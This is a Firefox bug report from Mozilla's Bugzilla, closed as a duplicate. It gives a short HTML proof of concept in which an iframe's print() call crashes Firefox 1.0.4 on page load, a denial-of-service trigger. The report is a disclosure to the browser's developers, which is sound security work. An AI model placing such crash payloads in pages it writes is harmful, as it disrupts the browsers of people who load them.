Closed Bug 295824 Opened 20 years ago Closed 20 years ago

malicous javascript code crashes Firefox

Categories

(Firefox :: Security, defect)

x86
Windows XP
defect
Not set
critical

Tracking

()

RESOLVED DUPLICATE of bug 279678

People

(Reporter: me33er_a, Unassigned)

Details

(Whiteboard: [sg:dos])

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.8) Gecko/20050511 Firefox/1.0.4
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.8) Gecko/20050511 Firefox/1.0.4

I found some malicous code javascript/HTML source code that crashes Firefox if i
load the page

Reproducible: Always

Steps to Reproduce:
1. Copy the following code into notepad and save as .htm

<!--

<iframe id="pocframe" name="pocframe" src="about:blank"></iframe>
<script type="text/javascript">window.frames.pocframe.print();</script>
  
-->

<body>
<iframe id="pocframe" name="pocframe" src="about:blank"></iframe>
<script type="text/javascript">window.frames.pocframe.print();</script>
</body>
</html>


2. Load the .htm file and the browser should crash





Actual Results:  
The browser crashed

Expected Results:  
Loaded the page without crashing
This does not occur in the Deer Park alpha

*** This bug has been marked as a duplicate of 279678 ***
Group: security
Status: UNCONFIRMED → RESOLVED
Closed: 20 years ago
Resolution: --- → DUPLICATE
Whiteboard: [sg:dos]
You need to log in before you can comment on or make changes to this bug.